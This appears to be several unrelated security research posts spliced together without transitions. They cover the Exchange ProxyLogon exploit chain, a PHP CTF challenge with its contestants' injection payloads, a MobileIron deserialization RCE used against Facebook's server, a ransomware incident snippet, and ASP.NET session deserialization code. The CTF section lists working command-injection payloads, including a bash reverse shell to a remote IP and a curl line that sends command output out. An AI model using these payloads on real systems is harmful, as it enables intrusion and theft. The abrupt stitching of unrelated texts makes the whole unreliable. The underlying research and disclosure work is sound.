CAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it’s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding Backend Service. As a Web Security researcher, I focused on the Web implementation of CAS.
The CAS web is built on Microsoft IIS. As you can see, there are two websites inside the IIS. The “Default Website” is the Frontend we mentioned before, and the “Exchange Backend” is where the business logic is. After looking into the configuration carefully, we notice that the Frontend is binding with ports 80 and 443, and the Backend is listening on ports 81 and 444. All the ports are binding with 0.0.0.0, which means anyone could access the Frontend and Backend of Exchange directly. Wouldn’t it be dangerous? Please keep this question in mind and we will answer that later.
Exchange implements the logic of Frontend and Backend via IIS module. There are several modules in Frontend and Backend to complete different tasks, such as the filter, validation, and logging. The Frontend must contain a Proxy Module. The Proxy Module picks up the HTTP request from the client side and adds some internal settings, then forwards the request to the Backend. As for the Backend, all the applications include the Rehydration Module, which is in charge of parsing Frontend requests, populating the client information back, and continuing to process the business logic. Later we will be elaborating how Proxy Module and Rehydration Module work.
Frontend Proxy Module
Proxy Module chooses a handler based on the current ApplicationPath to process the HTTP request from the client side. For instance, visiting /EWS will use EwsProxyRequestHandler, as for /OWA will trigger OwaProxyRequestHandler. All the handlers in Exchange inherit the class from ProxyRequestHandler and implement its core logic, such as how to deal with the HTTP request from the user, which URL from Backend to proxy to, and how to synchronize the information with the Backend. The class is also the most centric part of the whole Proxy Module, we will separate ProxyRequestHandler into 3 sections:
Frontend Reqeust Section
The Request section will parse the HTTP request from the client and determine which cookie and header could be proxied to the Backend. Frontend and Backend relied on HTTP Headers to synchronize information and proxy internal status. Therefore, Exchange has defined a blacklist to avoid some internal Headers being misused.
In the last stage of Request, Proxy Module will call the method AddProtocolSpecificHeadersToServerRequest implemented by the handler to add the information to be communicated with the Backend in the HTTP header. This section will also serialize the information from the current login user and put it in a new HTTP header X-CommonAccessToken, which will be forwarded to the Backend later.
For instance, If I log into Outlook Web Access (OWA) with the name Orange, the X-CommonAccessToken that Frontend proxy to Backend will be:
Frontend Proxy Section
The Proxy Section first uses the GetTargetBackendServerURL method to calculate which Backend URL should the HTTP request be forwarded to. Then initialize a new HTTP Client request with the method CreateServerRequest.
Exchange will also generate a Kerberos ticket via the HTTP Service-Class of the Backend and put it in the Authorization header. This header is designed to prevent anonymous users from accessing the Backend directly. With the Kerberos Ticket, the Backend could validate the access from the Frontend.
Therefore, a Client request proxied to the Backend will be added with several HTTP Headers for internal use. The two most essential Headers are X-CommonAccessToken, which indicates the mail users’ log in identity, and Kerberos Ticket, which represents legal access from the Frontend.
Frontend Response Section
The last is the section of Response. It receives the response from the Backend and decides which headers or cookies are allowed to be sent back to the Frontend.
Backend Rehydration Module
Now let’s move on and check how the Backend processes the request from the Frontend. The Backend first uses the method IsAuthenticated to check whether the incoming request is authenticated. Then the Backend will verify whether the request is equipped with an extended right called ms-Exch-EPI-Token-Serialization. With the default setting, only Exchange Machine Account would have such authorization. This is also why the Kerberos Ticket generated by the Frontend could pass the checkpoint but you can’t access the Backend directly with a low authorized account.
After passing the check, Exchange will restore the login identity used in the Frontend, through deserializing the header X-CommonAccessToken back to the original Access Token, and then put it in the httpContext object to progress to the business logic in the Backend.
After a brief introduction to the architecture of CAS, we now realize that CAS is just a well-written HTTP Proxy (or Client), and we know that implementing Proxy isn’t easy. So I was wondering:
Could I use a single HTTP request to access different contexts in Frontend and Backend respectively to cause some confusion?
If we could do that, maaaaaybe I could bypass some Frontend restrictions to access arbitrary Backends and abuse some internal API. Or, we can confuse the context to leverage the inconsistency of the definition of dangerous HTTP headers between the Frontend and Backend to do further interesting attacks.
With these thoughts in mind, let’s start hunting!
The ProxyLogon
The first exploit is the ProxyLogon. As introduced before, this may be the most severe vulnerability in the Exchange history ever. ProxyLogon is chained with 2 bugs:
CVE-2021-26855 - Pre-auth SSRF leads to Authentication Bypass
CVE-2021-27065 - Post-auth Arbitrary-File-Write leads to RCE
CVE-2021-26855 - Pre-auth SSRF
There are more than 20 handlers corresponding to different application paths in the Frontend. While reviewing the implementations, we found the method GetTargetBackEndServerUrl, which is responsible for calculating the Backend URL in the static resource handler, assigns the Backend target by cookies directly.
Now you figure out how simple this vulnerability is after learning the architecture!
Though we can only control the Host part of the URL, but hang on, isn’t manipulating a URL Parser exactly what I am good at? Exchange builds the Backend URL by built-in UriBuilder. However, since C# didn’t verify the Host, so we can enclose the whole URL with some special characters to access arbitrary servers and ports.
So far we have a super SSRF that can control almost all the HTTP requests and get all the replies. The most impressive thing is that the Frontend of Exchange will generate a Kerberos Ticket for us, which means even when we are attacking a protected and domain-joined HTTP service, we can still hack with the authentication of Exchange Machine Account.
So, what is the root cause of this arbitrary Backend assignment? As mentioned, the Exchange Server changes its architecture while releasing new versions. It might have different functions in different versions even with the same component under the same name. Microsoft has put great effort into ensuring the architectural capability between new and old versions. This cookie is a quick solution and the design debt of Exchange making the Frontend in the new architecture could identify where the old Backend is.
CVE-2021-27065 - Post-auth Arbitrary-File-Write
Thanks to the super SSRF allowing us to access the Backend without restriction. The next is to find a RCE bug to chain together. Here we leverage a Backend internal API /proxyLogon.ecp to become the admin. The API is also the reason why we called it ProxyLogon.
Because we leverage the Frontend handler of static resources to access the ECExchange Control Panel (ECP) Backend, the header msExchLogonMailbox, which is a special HTTP header in the ECP Backend, will not be blocked by the Frontend. By leveraging this minor inconsistency, we can specify ourselves as the SYSTEM user and generate a valid ECP session with the internal API.
With the inconsistency between the Frontend and Backend, we can access all the functions on ECP by Header forgery and internal Backend API abuse. Next, we have to find an RCE bug on the ECP interface to chain them together. The ECP wraps the Exchange PowerShell commands as an abstract interface by /ecp/DDI/DDIService.svc. The DDIService defines several PowerShell executing pipelines by XAML so that it can be accessed by Web. While verifying the DDI implementation, we found the tag of WriteFileActivity did not check the file path properly and led to an arbitrary-file-write.
There are several paths to trigger the vulnerability of arbitrary-file-write. Here we use ResetOABVirtualDirectory.xaml as an example and write the result of Set-OABVirtualDirectory to the webroot to be our Webshell.
Now we have a working pre-auth RCE exploit chain. An unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port. Here is an demonstration video:
Epilogue
As the first blog of this series, ProxyLogon perfectly shows how severe this attack surface could be. We will have more examples to come. Stay tuned!
<?phpif(!isset($_REQUEST["column"])&&!isset($_REQUEST["id"])){die('No input');}$column=$_REQUEST["column"];$id=$_REQUEST["id"];$sql="select ".$column." from mytable where id ='".$id."'";$conn=mysqli_connect('mysql','user','youtu.be/l11uaEjA-iI','sqltest');$result=mysqli_query($conn,$sql);if($result){if(mysqli_num_rows($result)>0){$row=mysqli_fetch_object($result);$str="\$output = \$row->".$column.";";eval($str);}}else{die('Database error');}if(isset($output)){echo$output;}
出題者解法
身為出題者,當然必須先拋磚一下才能夠引玉~
exploit:
QueryString: column={passthru('/readflag')}&id=1
SQL: SELECT {passthru('/readflag')} FROM mytable WHERE id = '1'
PHP: $output = $row->{passthru('/readflag')};
這個解法利用了 MySQL 一個相容性的特性,{identifier expr} 是 ODBC Escape 語法,MySQL 相容了這個語法,使得在語句中出現時不會導致語法錯誤,因此我們可以構造出 SELECT {passthru '/readflag'} FROM mytable WHERE id = '1' 字串仍然會是合法的 SQL 語句,更進一步地嘗試將 ODBC Escape 中的空白移除改以括號包夾字串的話,會變成 SELECT {passthru('/readflag')} FROM mytable WHERE id = '1',由於 MySQL 提供的語法彈性,此段語句仍然會被視為合法並且可正常執行得到相同結果。
by ankleboy (https://www.facebook.com/profile.php?id=100001963625238):
QueryString: column=name%20/*!%20from%20mytable%20*/%20--%20;%20system(%22/readflag%22)&id=1
SQL: SELECT name /*! from mytable */ -- ; system("/readflag") FROM mytable WHERE id = '1'
PHP: $output = $row->name /*! from mytable */ -- ; system("/readflag");
QueryString: column=id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`%23?>&id=1
SQL: SELECT id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`#?> FROM mytable WHERE id = '1'
PHP: $output = $row->id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`#?>;
QueryString: column=id="${system('/readflag')}"&id=1
SQL: SELECT id="${system('/readflag')}" FROM mytable WHERE id = '1'
PHP: $output = $row->id="${system('/readflag')}";
對於 SQL 而言,就是回傳 id 與字串比較的結果;但對於 PHP 而言,上述結果是將雙引號字串解析完後才賦值給變數 $row->id,而結果就如同前面說的,它會執行系統指令 /readflag,還會將結果輸出至網頁,所以就能取得 flag!
by Billy (https://github.com/st424204):
QueryString: column=name%2b"{$_POST[1]($_POST[2])}"&id=1
POST: 1=system&2=/readflag
SQL: SELECT name+"{$_POST[1]($_POST[2])}" FROM mytable WHERE id = '1'
PHP: $output = $row->name+"{$_POST[1]($_POST[2])}";
QueryString: column=id||"{$_POST['fn']($_POST['cmd'])}"&id=1
POST: fn=system&cmd=/readflag
SQL: SELECT id||"{$_POST['fn']($_POST['cmd'])}" FROM mytable WHERE id = '1'
PHP: $output = $row->id||"{$_POST['fn']($_POST['cmd'])}";
這個例子與前一個利用了同樣的特性,差別在與此處的 Payload 改用 OR 邏輯運算子 ||,而前面使用的是加法算術運算子 +,但結果都是相同的。
by Chris Lin (https://github.com/kulisu)
QueryString: column=TRUE/"${system(%27/readflag%27)}";%23&id=1
SQL: SELECT TRUE/"${system('/readflag')}";# FROM mytable WHERE id = '1'
PHP: $output = $row->TRUE/"${system('/readflag')}";#;
這也是用相同概念,前面改用除法算術運算子 /。看完解法才發現投稿者是同事!
Execution Operator
在 PHP 中存在眾多函式可以執行系統指令,其中還包括一個特殊的 Execution Operator,此運算子的形式是利用反引號「`」將字串包夾起來,這樣該字串就會被當作系統指令執行,其內部實際是執行 shell_exec,更貼心的事情是,這個運算子同樣支援 Double-quoted String Evaluation,所以若是 $cmd = 'id'; echo `$cmd`; 這樣的形式,PHP 就會先解析 $cmd 得出 id,再執行 id 系統指令;而在 MySQL 之中,反引號是用來表示一個 identifier,identifier 用來指示一個物件,最常見的是資料表或是資料欄,當我們執行 SELECT c FROM t,其中 c 和 t 就是 identifier,所以若想靠 Execution Operator 來執行指令,可能還必須同時讓 identifier 能夠被 MySQL 識別才行。
by dalun (https://www.nisra.net):
QueryString: column=id=`$_POST[1]`%23?>&id=%0a+from+(select+'id','$_POST[1]')+as+a+--+
POST: 1=/readflag
SQL: SELECT id=`$_POST[1]`#?> FROM mytable WHERE id = '
from (select 'id','$_POST[1]') as a -- '
PHP: $output = $row->id=`$_POST[1]`#?>;
這個解法似乎是唯一願意使用 id 參數的 XD!在 column 參數用註解符號 # 閉合後續,在 id 參數插入換行符號並構造一個合法的 SQL,透過子查詢製造合法的 identifier,最後由 PHP 透過 execution operator 執行系統指令。
by HexRabbit (https://twitter.com/h3xr4bb1t):
QueryString: column=name+or+@`bash+-c+"bash+-i+>%26+/dev/tcp/1.2.3.4/80+0>%261"`&id=1
SQL: SELECT name or @`bash -c "bash -i >& /dev/tcp/1.2.3.4/80 0>&1"` FROM mytable WHERE id = '1'
PHP: $output = $row->name or @`bash -c "bash -i >& /dev/tcp/1.2.3.4/80 0>&1"`;
QueryString: column=$a%2b`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;%23&id=qwe
SQL: SELECT $a+`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;# FROM mytable WHERE id = 'qwe'
PHP: $output = $row->$a+`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;#;
QueryString: column=id%2b"${print_r(`/readflag`)}"&id=1
SQL: SELECT id+"${print_r(`/readflag`)}" FROM mytable WHERE id = '1'
PHP: $output = $row->id+"${print_r(`/readflag`)}";
Hi, it’s a long time since my last article. This new post is about my research this March, which talks about how I found vulnerabilities on a leading Mobile Device Management product and bypassed several limitations to achieve unauthenticated RCE. All the vulnerabilities have been reported to the vendor and got fixed in June. After that, we kept monitoring large corporations to track the overall fixing progress and then found that Facebook didn’t keep up with the patch for more than 2 weeks, so we dropped a shell on Facebook and reported to their Bug Bounty program!
This research is also presented at HITCON 2020. You can check the slides here
As a Red Teamer, we are always looking for new paths to infiltrate the corporate network from outside. Just like our research in Black Hat USA last year, we demonstrated how leading SSL VPNs could be hacked and become your Virtual “Public” Network! SSL VPN is trusted to be secure and considered the only way to your private network. But, what if your trusted appliances are insecure?
Based on this scenario, we would like to explore new attack surfaces on enterprise security, and we get interested in MDM, so this is the article for that!
What is MDM?
Mobile Device Management, also known as MDM, is an asset assessment system that makes the employees’ BYOD more manageable for enterprises. It was proposed in 2012 in response to the increasing number of tablets and mobile devices. MDM can guarantee that the devices are running under the corporate policy and in a trusted environment. Enterprise could manage assets, install certificates, deploy applications and even lock/wipe devices remotely to prevent data leakage as well.
UEM (Unified Endpoint Management) is a newer term relevant to MDM which has a broader definition for managed devices. Following we use MDM to represent similar products!
Our target
MDM, as a centralized system, can manage and control all employees’ devices. It is undoubtedly an ideal asset assessment system for a growing company. Besides, MDM must be reachable publicly to synchronize devices all over the world. A centralized and public-exposing appliance, what could be more appealing to hackers?
Therefore, we have seen hackers and APT groups abusing MDM these years! Such as phishing victims to make MDM a C&C server of their mobile devices, or even compromising the corporate exposed MDM server to push malicious Trojans to all devices. You can read the report Malicious MDM: Let’s Hide This App by Cisco Talos team and First seen in the wild - Malware uses Corporate MDM as attack vector by CheckPoint CPR team for more details!
From previous cases, we know that MDM is a solid target for hackers, and we would like to do research on it. There are several MDM solutions, even famous companies such as Microsoft, IBM and Apple have their own MDM solution. Which one should we start with?
We have listed known MDM solutions and scanned corresponding patterns all over the Internet. We found that the most prevalent MDMs are VMware AirWatch and MobileIron!
So, why did we choose MobileIron as our target? According to their official website, more than 20,000 enterprises chose MobileIron as their MDM solution, and most of our customers are using that as well. We also know Facebook has exposed the MobileIron server since 2016. We have analyzed Fortune Global 500 as well, and found more than 15% using and exposing their MobileIron server to the public! Due to above reasons, it became our main target!
Where to Start
From past vulnerabilities, we learned there aren’t too many researchers diving into MobileIron. Perhaps the attack vector is still unknown. But we suspect the main reason is that the firmware is too hard to obtain. When researching an appliance, turning a pure BlackBox testing into GrayBox, or WhiteBox testing is vital. We spent lots of time searching for all kinds of information on the Internet, and ended up with an RPM package. This RPM file is supposed to be the developer’s testing package. The file is just sitting on a listable WebRoot and indexed by Google Search.
Anyway, we got a file to research. The released date of the file is in early 2018. It seems a little bit old but still better than nothing!
P.S. We have informed MobileIron and the sensitive files has been removed now.
Finding Vulnerabilities
After a painful time solving the dependency hell, we set the testing package up finally. The component is based on Java and exposed three ports:
443 - the user enrollment interface
8443 - the appliance management interface
9997 - the MobileIron device synchronization protocol (MI Protocol)
All opened ports are TLS-encrypted. Apache is in the front of the web part and proxies all connections to backend, a Tomcat with Spring MVC inside.
Due to the Spring MVC, it’s hard to find traditional vulnerabilities like SQL Injection or XSS from a single view. Therefore, examining the logic and architecture is our goal this time!
Talking about the vulnerability, the root cause is straightforward. Tomcat exposed a Web Service that deserializes user input with Hessian format. However, this doesn’t mean we can do everything! The main effort of this article is to solve that, so please see the exploitation below.
Although we know the Web Service deserializes the user input, we can not trigger it. The endpoint is located on both:
User enrollment interface - https://mobileiron/mifs/services/
We can only touch the deserialization through the management interface because the user interface blocks the Web Service access. It’s a critical hit for us because most enterprises won’t expose their management interface to the Internet, and a management-only vulnerability is not useful to us so that we have to try harder. :(
Scrutinizing the architecture, we found Apache blocks our access through Rewrite Rules. It looks good, right?
MobileIron relied on Apache Rewrite Rules to block all the access to Web Service. It’s in the front of a reverse-proxy architecture, and the backend is a Java-based web server.
Have you recalled something?
Yes, the Breaking Parser Logic! It’s the reverse proxy attack surface I proposed in 2015, and presented at Black Hat USA 2018. This technique leverage the inconsistency between the Apache and Tomcat to bypass the ACL control and reaccess the Web Service. BTW, this excellent technique is also applied to the recently F5 BIG-IP TMUI RCE vulnerability!
https://mobileiron/mifs/.;/services/someService
Exploiting Vulnerabilities
OK, now we have access to the deserialization wherever it’s on enrollment interface or management interface. Let’s go back to exploitations!
Moritz Bechler has an awesome research which summarized the Hessian deserialization vulnerability on his whitepaper, Java Unmarshaller Security. From the marshalsec source code, we learn the Hessian deserialization triggers the equals() and hashcode() while reconstructing a HashMap. It could also trigger the toString() through the XString, and the known exploit gadgets so far are:
Apache XBean
Caucho Resin
Spring AOP
ROME EqualsBean/ToStringBean
In our environment, we could only trigger the Spring AOP gadget chain and get a JNDI Injection.
Since Alvaro Muñoz and Oleksandr Mirosh introduced this on Black Hat, we could say that this technique helps countless security researchers and brings Java deserialization vulnerability into a new era. However, Java finally mitigated the last JNDI/LDAP puzzle in October 2018. After that, all java version higher than 8u181, 7u191, and 6u201 can no longer get code execution through JNDI remote URL-Class loading. Therefore, if we exploit the Hessian deserialization on the latest MobileIron, we must face this problem!
Java changed the default value of com.sun.jndi.ldap.object.trustURLCodebase to False to prevent attackers from downloading remote URL-Class to get code executions. But only this has been prohibited. We can still manipulate the JNDI and redirect the Naming Reference to a local Java Class!
The concept is a little bit similar to Return-Oriented Programming, utilizing a local existing Java Class to do further exploitations. You can refer to the article Exploiting JNDI Injections in Java by Michael Stepankin in early 2019 for details. It describes the attack on POST-JNDI exploitations and how to abuse the Tomcat’s BeanFactory to populate the ELProcessor gadget to get code execution. Based on this concept, researcher Welkin also provides another ParseClass gadget on Groovy. As described in his (Chinese) article:
It seems the Meta Programming exploitation in my previous Jenkins research could be used here as well. It makes the Meta Programming great again :D
The approach is fantastic and looks feasible for us. But both gadgets ELProcessor and ParseClass are unavailable due to our outdated target libraries. Tomcat introduced the ELProcessor since 8.5, but our target is 7. As for the Groovy gadget, the target Groovy version is too old (1.5.6 from 2008) to support the Meta Programming, so we still have to find a new gadget by ourselves. We found a new gadget on GroovyShell in the end. If you are interested, you can check the Pull Request I sent to the JNDI-Injection-Bypass project!
Attacking Facebook
Now we have a perfect RCE by chaining JNDI Injection, Tomcat BeanFactory and GroovyShell. It’s time to hack Facebook!
Aforementioned, we knew the Facebook uses MobileIron since 2016. Although the server’s index responses 403 Forbidden now, the Web Service is still accessible!
Everything is ready and wait for our exploit! However, several days before our scheduled attack, we realized that there is a critical problem in our exploit. From our last time popping shell on Facebook, we noticed it blocks outbound connections due to security concerns. The outbound connection is vital for JNDI Injection because the idea is to make victims connecting to a malicious server to do further exploitations. But now, we can’t even make an outbound connection, not to mention others.
So far, all attack surfaces on JNDI Injection have been closed, we have no choice but to return to Hessian deserialization. But due to the lack of available gadgets, we must discover a new one by ourselves!
Before discovering a new gadget, we have to understand the existing gadgets’ root cause properly. After re-reading Moritz Bechler’s paper, a certain word interested me:
Cannot restore Groovy’s MethodClosure as readResolve() is called which throws an exception.
A question quickly came up in my mind: Why did the author leave this word here? Although it failed with exceptions, there must have been something special so that the author write this down.
Our target is running with a very old Groovy, so we are guessing that the readResolve() constrain might not have been applied to the code base yet! We compared the file groovy/runtime/MethodClosure.java between the latest and 1.5.6.
Yes, we are right. There is no ALLOW_RESOLVE in Groovy 1.5.6, and we later learned CVE-2015-3253 is just for that. It’s a mitigation for the rising Java deserialization vulnerability in 2015. Since Groovy is an internally used library, developers won’t update it if there is no emergency. The outdated Groovy could also be a good case study to demonstrated how a harmless component can leave you compromised!
Of course we got the shell on Facebook in the end. Here is the video:
Vulnerability Report and Patch
We have done all the research on March and sent the advisory to MobileIron at 4/3. The MobileIron released the patch on 6/15 and addressed three CVEs for that. You can check the official website for details!
CVE-2020-15505 - Remote Code Execution
CVE-2020-15506 - Authentication Bypass
CVE-2020-15507 - Arbitrary File Reading
After the patch has been released, we start monitoring the Internet to track the overall fixing progress. Here we check the Last-Modified header on static files so that the result is just for your information. (Unknown stands for the server closed both 443 and 8443 ports)
At the same time, we keep our attentions on Facebook as well. With 15 days no-patch confirm, we finally popped a shell and report to their Bug Bounty program at 7/2!
Conclusion
So far, we have demonstrated a completely unauthenticated RCE on MobileIron. From how we get the firmware, find the vulnerability, and bypass the JNDI mitigation and network limitation. There are other stories, but due to the time, we have just listed topics here for those who are interested:
How to take over the employees’ devices from MDM
Disassemble the MI Protocol
And the CVE-2020-15506, an interesting authentication bypass
I hope this article could draw attention to MDM and the importance of enterprise security! Thanks for reading. :D
這次的漏洞也很簡單,主要是 Web Service 使用了 Hessian 格式處理資料進而產生了反序列化的弱點! 雖然漏洞一句話就可以解釋完了,但懂的人才知道反序列化並不代表你可以做任何事,接下來的利用才是精彩的地方!
現在已知 MobileIron 在處理 Web Service 的地方存在 Hessian 反序列化漏洞! 但漏洞存在,並不代表我們碰得到漏洞,可以觸發 Hessian 反序列化的路徑分別在:
一般使用者介面 - https://mobileiron/mifs/services/
管理介面 - https://mobileiron:8443/mifs/services/
管理介面基本上沒有任何阻擋,可以輕鬆的碰到 Web Service,而一般使用者介面的 Web Service 則無法存取,這對我們來說是一個致命性的打擊,由於大部分企業的網路架構並不會將管理介面的連接埠開放在外部網路,因此只能攻擊管理介面對於的利用程度並不大,因此我們必須尋找其他的方式去觸發這個漏洞!
仔細觀察 MobileIron 的阻擋方式,發現它是透過在 Apache 上使用 Rewrite Rules 去阻擋對一般使用者介面 Web Service 的存取:
在這起攻擊事件中,駭客首先從 Web 伺服器、員工電腦等途徑,入侵公司系統長期潛伏及探測,而後竊取帳號權限,進入 AD 伺服器,利用凌晨時段竄改群組派送原則(GPO),同時預埋 lc.tmp 惡意程式到內部伺服器中,等到員工上班打開電腦後,電腦立即套用遭竄改的 GPO,依據指令就會自動將勒索軟體載到記憶體中來執行。
閱讀文件後了解到,這個資料庫的存在用途是用來保存 ASP.NET 網站應用程式的 session。一般情況下預設 session 是儲存在 ASP.NET 網站應用程式的記憶體中,但某些分散式架構(例如 Load Balance 架構)的情況下,同時會有多個一模一樣的 ASP.NET 網站應用程式運行在不同伺服器主機上,而使用者每次請求時被分配到的伺服器主機也不會完全一致,就會需要有可以讓多個主機共享 session 的機制,而儲存在 SQL Server 上就是一種解決方案之一,想啟用這個機制可以在 web.config 中添加如下設定:
<configuration><system.web><!-- 將 session 保存在 SQL Server 中。 --><sessionStatemode="SQLServer"sqlConnectionString="data source=127.0.0.1;user id=<username>;password=<password>"timeout="20"/><!-- 預設值,將 session 保存在記憶體中。 --><!-- <sessionState mode="InProc" timeout="20" /> --><!-- 將 session 保存在 ASP.NET State Service 中,
另一種跨主機共享 session 的解決方案。 --><!--
<sessionState
mode="StateServer"
stateConnectionString="tcpip=localhost:42424"
timeout="20"
/>
--></system.web></configuration>
ASP.NET 允許我們在 session 中儲存一些物件,例如儲存一個 List 物件:Session["secret"] = new List<String>() { "secret string" };,對於如何將這些物件保存到 SQL Server 上,理所當然地使用了序列化機制來處理,而我們又控制了資料庫,所以也能執行任意反序列化,為此需要先了解 Session 物件序列化與反序列化的過程。
namespaceSystem.Web.SessionState{internalclassSqlSessionStateStore:SessionStateStoreProviderBase{publicoverrideSessionStateStoreDataGetItem(HttpContextcontext,Stringid,outboollocked,outTimeSpanlockAge,outobjectlockId,outSessionStateActionsactionFlags){SessionIDManager.CheckIdLength(id,true/* throwOnFail */);returnDoGet(context,id,false,outlocked,outlockAge,outlockId,outactionFlags);}SessionStateStoreDataDoGet(HttpContextcontext,Stringid,boolgetExclusive,outboollocked,outTimeSpanlockAge,outobjectlockId,outSessionStateActionsactionFlags){SqlDataReaderreader;byte[]buf;MemoryStreamstream=null;SessionStateStoreDataitem;SqlStateConnectionconn=null;SqlCommandcmd=null;boolusePooling=true;buf=null;reader=null;conn=GetConnection(id,refusePooling);try{if(getExclusive){cmd=conn.TempGetExclusive;}else{cmd=conn.TempGet;}cmd.Parameters[0].Value=id+_partitionInfo.AppSuffix;// @idcmd.Parameters[1].Value=Convert.DBNull;// @itemShortcmd.Parameters[2].Value=Convert.DBNull;// @lockedcmd.Parameters[3].Value=Convert.DBNull;// @lockDate or @lockAgecmd.Parameters[4].Value=Convert.DBNull;// @lockCookiecmd.Parameters[5].Value=Convert.DBNull;// @actionFlagsusing(reader=SqlExecuteReaderWithRetry(cmd,CommandBehavior.Default)){if(reader!=null){try{if(reader.Read()){buf=(byte[])reader[0];}}catch(Exceptione){ThrowSqlConnectionException(cmd.Connection,e);}}}if(buf==null){/* Get short item */buf=(byte[])cmd.Parameters[1].Value;}using(stream=newMemoryStream(buf)){item=SessionStateUtility.DeserializeStoreData(context,stream,s_configCompressionEnabled);_rqOrigStreamLen=(int)stream.Position;}returnitem;}finally{DisposeOrReuseConnection(refconn,usePooling);}}classSqlStateConnection:IDisposable{internalSqlCommandTempGet{get{if(_cmdTempGet==null){_cmdTempGet=newSqlCommand("dbo.TempGetStateItem3",_sqlConnection);_cmdTempGet.CommandType=CommandType.StoredProcedure;_cmdTempGet.CommandTimeout=s_commandTimeout;// ignore process of setting parameters}return_cmdTempGet;}}}}}